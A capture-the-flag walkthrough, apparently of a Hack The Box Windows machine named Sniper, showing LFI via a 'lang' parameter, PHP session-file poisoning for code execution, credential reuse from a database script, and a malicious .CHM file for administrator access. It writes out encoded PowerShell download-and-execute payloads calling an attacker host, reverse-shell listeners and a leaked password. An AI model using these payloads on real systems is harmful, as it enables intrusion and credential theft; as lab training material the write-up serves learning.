PRIMARY CATEGORY β†’ MEDIUM

Summary

  • Trying several SMB Authentication Methods (Netexec)
  • Trying different Directory Path Traversal Bypasses
  • Local File Inclusion in URL Parameter (Full Path Specification without Directory Path Traversal)
  • Listing blacklisted Characters in a Registration Form, through Python Scripting, in order to craft a valid Payload
  • Local File Inclusion (LFI) of maliciously crafted PHP Session files leads to a Remote Command Execution (RCE)
  • Windows Payload Creation β†’ ICONV + Base64 + Powershell -EncodedCommand
  • Local PE via Information Leakage on PHP Database Connection Script
  • Pivoting to another system user via Invoke-Command + Script-Block
  • Command Execution via a Payload crafted within a .CHM File leads to Local PE


Setup

Directory creation with the Machine’s Name

mkdir Sniper && cd !$

Creation of a Pentesting Folder Structure to store all the information related to the target

Reference

mkt

Recon

OS Identification

First, proceed to identify the Target Operative System. This can be done by a simple ping taking into account the TTL Unit

The standard values are β†’

  • About 64 β†’ Linux
  • About 128 β†’ Windows
ping -c1 Sniper

As mentioned, according to the TTL, It seems that It is a Windows Target

Port Scanning
General Scan

Let’s run a Nmap Scan to check what TCP Ports are opened in the machine

The Scan result is exported in a grepable format for subsequent Port Parsing

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn --disable-arp-ping -oG allPorts 10.129.229.6

Open Ports β†’ 80, 135, 139, 445 and 49667

Comprehensive Scan

The ExtractPorts utility is used to get a Readable Summary of the previous scan and have all Open Ports copied to the clipboard

extractPorts allPorts

Then, the Comprehensive Scan is performed to gather the Service and Version running on each open port and launch a set of Nmap Basic Recon Scripts

Note that this scan is also exported to have evidence at hand

nmap -p80,135,139,445,49667 -sCV -n -Pn --disable-arp-ping -oN targeted 10.129.229.6
139, 445 - SMB
Basic Information Gathering

Let’s start with the SMB port, as always, we start gathering information about the target by using a tool such as netexec

With this tool we can extract some information such as the host name, the domain (if exists) and the OS and SMB versions

nxc smb 10.129.229.6

So, we know that the host may be a Windows 10 o Server 2019, and its name

We can add its name to the /etc/hosts file

printf "10.129.229.6\tsniper" >> /etc/hosts
Listing of Shares

We can try to list the shares on the target, as we do not have any valid credentials, let’s check with Null Authentication

nxc smb sniper --username '' --password '' --shares

But we get an Access Denied Error

We can check if the guest account is enabled

nxc smb sniper --username 'guest' --password '' --shares

The Guest system account is disabled in this case

Finally, we could test with a random username to see how the target responds

nxc smb sniper --username 'anyRandomUsername' --password '' --shares

We get Logon Failure Error as the user does not exist in the system

At this point, there is not much we can do here, let’s move on to another port

135 - RCP

We could use the rpcclient tool to try to authenticate to any RCP Endpoint via RCP Dynamic Ports or Namedpipes

Since we do not have got anything in SMB, we probably will not get anything here either, but, let’s give it a try

  • Null Authentication
rpcclient --user '' --no-pass --command 'srvinfo' sniper
  • Authentication with Guest Account
rpcclient --user 'guest%' --command 'srvinfo' sniper
  • Authentication with a Random User
rpcclient --user 'anyRandomUser%' --command 'srvinfo' sniper

Same as SMB, so, it seems that the Entry Vector is on port 80

80 - HTTP

Let’s start listing the Web Server and its Version

curl --silent --location --request GET --head 'http://10.129.229.6'

And we know that the Web Server is an IIS and the Server-Side Language Programming is PHP, instead of .NET (aspx) or Java (jsp)

Web Technologies

We use whatweb to extract more information about the target and the Web Technologies it uses

whatweb http://10.129.229.6

Nothing new or interesting here, so let’s access to the Web from the browser

Browser-Based Inspection

Let’s see what the Wappalyzer Addon reports

Same as Whatweb

There is nothing interesting in the source code of the Web’s Home Page

We can check if this Website is running using PHP by requesting an index.php, which will probably be the current page

And it is

Before proceeding with any fuzzing, let’s try to list the all the content of this website and check its functionalities

To do this, we will create a project in caido to track all the HTTP Requests sent and check if there are any interesting entry points

There are two interesting sections

  • http://10.129.229.6/blog

The Download Section is static and has nothing

But there is something interesting if we select a language in the Language Section

There is a lang URL Parameter processed by the index.php of the Blog Page

The current value of the above parameter makes me think that an include or include_once php function may be used in the index.php script

If the processing of the lang parameter is not being properly sanitised, it could be leveraged to perform a Local File Inclusion (LFI)

  • http://10.129.229.6/user

It redirects us to a login.php

We have an option to sign up, and it takes us to a registration.php

So we can create an account and see what happens if we log in with this account

  • Registration.php

After log in with the above credentials, we are redirected to the following page

We are logged in and a Session Cookie has been set, but we don’t seem to be able to do anything

Note that, the PHP directive session.save_path indicates where PHP Session Cookies are stored on the system

If no value is set to the above parameter, the default path on Windows machines is %TEMP% i.e. \Windows\TEMP

The conventional name for each cookie is usually sess_<COOKIE_VALUE>


Exploitation

LFI to RCE via PHP Session Cookies

So, let’s check if there is a potential Local File Inclusion in the Lang URL parameter of the Blog page

First, we try with a basic Directory Path Traversal

But it does not work

The PHP script may uses a PHP function such as preg_replace or str_replace to delete any pattern related to ../ or ..\, so we can try the following one

But we got nothing either

Before proceed with more complex bypasses, there are situations where it is sufficient to provide the Full Path of the included file, without any Traversal Path

And here we go! We have a Local File Inclusion

Once we have exploited this type of Web Vuln, the first thing we can start to think about is how we can leverage this to get Command Execution

On Linux system we could think about Log Poisoning if the user running the web server has read permissions on the Web Logs

We can also fuzz the web server to discover more content such as other PHP scripts, as one of them may has hardcoded credentials or juicy comments on it

So we could use a PHP Wrapper, like the base64-encoded one, to get the content of those PHP scripts and base64-decode them to inspect them one by one

But, once again, before perform fuzzing, let’s try to get the content of the file related to the current PHP Session Cookie

Remember that we said that the default path is %TEMP% if the PHP directive session.save_path has not been modified in the php.ini file

  • PHP Session ID Value β†’ kqipkvhcdi5curbvlihnm89asn

We can see that the username appears on it

Since the username is a value that we can control from our side, we could try to create a user with the following name β†’

<?php echo shell_exec("whoami"); ?>

If we try to log in with that user, we get an Error Message

It seems that the above user could not be registered

It may be some kind of character blacklist, like bad chars or something like that to prevent some kind of injection, such as SQL Injection or Command Injection, depending on the context

We could create a python script to check which characters are blacklisted by performing a registration β†’ login action by creating a user whose name contains the given character we are testing for

Thus, we can create a valid payload as the username in order to get Command Execution in the target

Python Script

python3 -m venv .venv
source !$/bin/activate
pip3 install pwn colorama
python3 script.py http://10.129.229.6/user/registration.php http://10.129.229.6/user/login.php

Zoom In

  • Bad Chars β†’ ”$&(-.;[_

Note that the opening parentheses is blacklisted, so we cannot use any PHP Function in the conventional way

However, there is another way to execute commands using the shell_exec() function in PHP

<?=`<COMMAND>`?> 

The above code is the same as

<?php echo shell_exec("<COMMAND>"); ?>
  • = β†’ echo
  • backticks β†’ shell_exec()

Following this way, we could craft this payload β†’

<?=`powershell /enc <BASE64_PAYLOAD>`?>

In this case, the EncodedCommand powershell’s argument allows us to avoid using most of the blacklisted characters

The payload could be a Fileless vector which send an HTTP Request using Invoke-WebRequest and execute the HTTP’s Body Response via Invoke-Expression

The requested resource would be this Nishang Rev TCP Oneliner

IEX (IWR -UseBasicParsing -Uri http://10.10.16.30:8888/rev.ps1)

Note that before base64 encoding the above payload, it must be converted to the UTF-16LE encoding, which is used by Windows

Thefore, proceed as follows β†’

  • Download and Modify the Nishang Reverse TCP Shell
curl --silent --location --request GET "https://github.com/samratashok/nishang/raw/refs/heads/master/Shells/Invoke-PowerShellTcpOneLine.ps1" --output rev.ps1
nvim !$
  • Build a Simple HTTP Server
python3 -m http.server 8888
  • Craft the Payload as follows
echo -n "IEX (IWR -UseBasicParsing -Uri http://10.10.16.30:8888/rev.ps1)" | iconv --to-code UTF-16LE | base64 -w 0 ; echo

So, the username would be the following β†’

<?=`powershell /enc SQBFAFgAIAAoAEkAVwBSACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0AVQByAGkAIABoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADMAMAA6ADgAOAA4ADgALwByAGUAdgAuAHAAcwAxACkA`?>
  • Set up a TCP Listener Socket using the IP and Port specified in rev.ps1
rlwrap -CaR nc -nlvp 4444
  • User Registration

  • User Login

Once we are logged in with the created user, just grab the value of the generated PHP Session Cookie and use the discovered LFI to load the content of the following file β†’ sess_<COOKIE_VALUE>

Then, PHP code will be executed and we will obtain the reverse shell

Therefore, proceed as follows

  • Extraction of the PHP Session Cookie’s value

  • Show the Content of the file associated with the above cookie through the LFI

And we got the connection back!

whoami

We are in the system as nt authority\iusr


Privesc #1

Initial Non-Privileged User β†’ nt authority\iusr

Information Leakage on PHP DB Connection Script

We check if the current user belongs to any privileged group or has any privileges assigned to him that could result in a potential privesc

whoami

The only interesting thing that could lead us to a potential privesc to NT Authority \System would be the privilege SeimpersonatePrivilege

But, before exploit it, let’s inspect the files inside the web root directory

dir C:\inetpub\wwwroot\user

There is an interesting file that might have hardcoded credentials as it seems to be a PHP Script related to a Database Connection

Get-Content C:\inetpub\wwwroot\user\db.php

And yes, there are

Since the specified database connection is a MySQL one and the TCP Port 3306 related to the MariaDB/MySQL service is not externally accessible, let’s check if the service is running locally on the target

Get-NetTCPConnection -State Listen | Where-Object { $_.LocalPort -eq 3306 }

And it is! So, we could use chisel to set up Remote Port Forwarding and be able to access, from our machine, port 3306 of the target

Then, we could use the MySQL CLI Client to connect to the hardcoded database and see what tables exist in it

But, before proceed with that, let’s check what users are in the system, reuse of credentials may have been applied in this case

net user

We check with netexec if the hardcoded db credential is valid for the user Chris

nxc smb sniper --username 'chris' --password '36mEAhz/B8xQ~2VM'

And it is!

net user Chris

Furthermore, the user Chris belongs to the Remote Management Users builtin group, which means that we can connect to the target via the WinRM protocol

Remember that the port 5985 is not externally accessible either, so we could use chisel, as mentioned before, to be able to access this port from the attacker

Then, use a tool like EvilWinRM to connect to the remote machine via the above protocol

However, there are different ways to be able to execute commands on the system as another user by having valid credentials for that specific user

First, we need to create the Credential Object in order to authenticate with the user Chris

$user = 'sniper\chris'
$password = ConvertTo-SecureString -String '36mEAhz/B8xQ~2VM' -AsPlainText -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $user,$password

Then, we can proceed using Invoke-Command and Script-Block as follows

Invoke-Command -ComputerName SNIPER -Credential $credential -ScriptBlock { whoami }

As we are sharing the rev.ps1 resource through the Simple HTTP Server with python, let’s request this resource as the user Chris to gain access to the system as him

  • Craft the Payload
echo -n "IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.30:8888/rev.ps1')" | iconv --to-code UTF-16LE | base64 -w 0
  • Set up a Listening Socket using the Port specified in the Reverse Shell Script
rlwrap -CaR nc -nlvp 4444
  • Run the Command through Invoke-Command + ScriptBlock as Chris
Invoke-Command -ComputerName SNIPER -Credential $credential -ScriptBlock { powershell.exe -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA2AC4AMwAwADoAOAA4ADgAOAAvAHIAZQB2AC4AcABzADEAJwApAA== }

And we are in as Chris!

Therefore, we can grab the user.txt flag

Get-Content C:\Users\Chris\Desktop\user.txt

Privesc #2

Non-Privileged User β†’ Chris

Command Execution via CHM File

As we have seen above, the user Chris does not belong to any interesting group for which we could obtain any kind of privesc

We can list the privileges set for the current user to see if any could lead to administrator privileges

whoami /priv

Nothing interesting here

If we list the existent files in the root directory, we see an interesting folder β†’ Docs

dir C:\

There are two files inside the above directory, the interesting one is called note.txt, which has the following content

Get-Content C:\Docs\note.txt

Judging by the note, It seems that the Sniper CEO is periodically inspecting the Docs directory to see if someone is dropping some kind of file

We could think about creating a .SCF file that loads its icon from a remote SMB Server and allows an attacker to intercept the NTLMv2 hash of the user accessing the directory containing that malicious file

But, before proceed with that, if we inspect Chris’s home directory recursively, there is an interesting file in Downloads

dir -Recurse -Path C:\Users\Chris

A Compiled HTLM File Format (.CHM), which is most commonly used by Microsoft’s HTML-based Help Program

Since the file is called instructions.chm, we might think that this is the file Chris will share with Sniper’s CEO, leaving it in the Docs directory

So, we could create a malicious .CHM file from the attacker that will run a command when someone opens that file, and leave that file in the above directory

We can use the Out-CHM powershell script from Nishang to create a malicious .CHM file

First, we have to check that the hhc.exe (HTML Help Workshop) executable is on the system

Then, proceed as follows to create the .CHM file

  • Download Powershell Out-CHM Script and Import all functions declared in it into the current Powershell Session
IEX (Invoke-RestMethod -UseBasicParsing -Uri 'https://github.com/samratashok/nishang/raw/refs/heads/master/Client/Out-CHM.ps1')
  • Create the .CHM File

To check if it works, just create a .CHM which sends an ICMP packet when is opened

Out-CHM -Payload "ping -n 1 10.10.16.30" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"

Then, use tcpdump to listen for icmp packets

tcpdump --interface tun1 -v -n icmp

And transfer the created file in the Docs directory of the target

IWR -UseBasicParsing -Uri http://10.10.16.30:8888/doc.chm -OutFile C:\Docs\doc.chm

And we receive an ICMP packet

Therefore, we will create a .CHM file which runs the following payload to get a reverse shell from the target

echo -n "IEX (IWR -UseBasicParsing -Uri http://10.10.16.30:8888/rev.ps1)" | iconv --to-code UTF-16LE | base64 -w 0 ; echo
  • .CHM File Creation
Out-CHM -Payload "powershell.exe -EncodedCommand SQBFAFgAIAAoAEkAVwBSACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0AVQByAGkAIABoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADMAMAA6ADgAOAA4ADgALwByAGUAdgAuAHAAcwAxACkA" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
  • Set up a Listener Socket
rlwrap -CaR nc -nlvp 4444
  • .CHM File Transfer to the Target 🎯
IWR -UseBasicParsing -Uri http://10.10.16.30:8888/doc.chm -OutFile C:\Docs\doc.chm

And we are in as Administrator

whoami

At this point, just get the root.txt flag and move on to the next! 😊

Get-Content C:\Users\Administrator\Desktop\root.txt

Custom Exploits

Bad Chars Checker in User Registration URL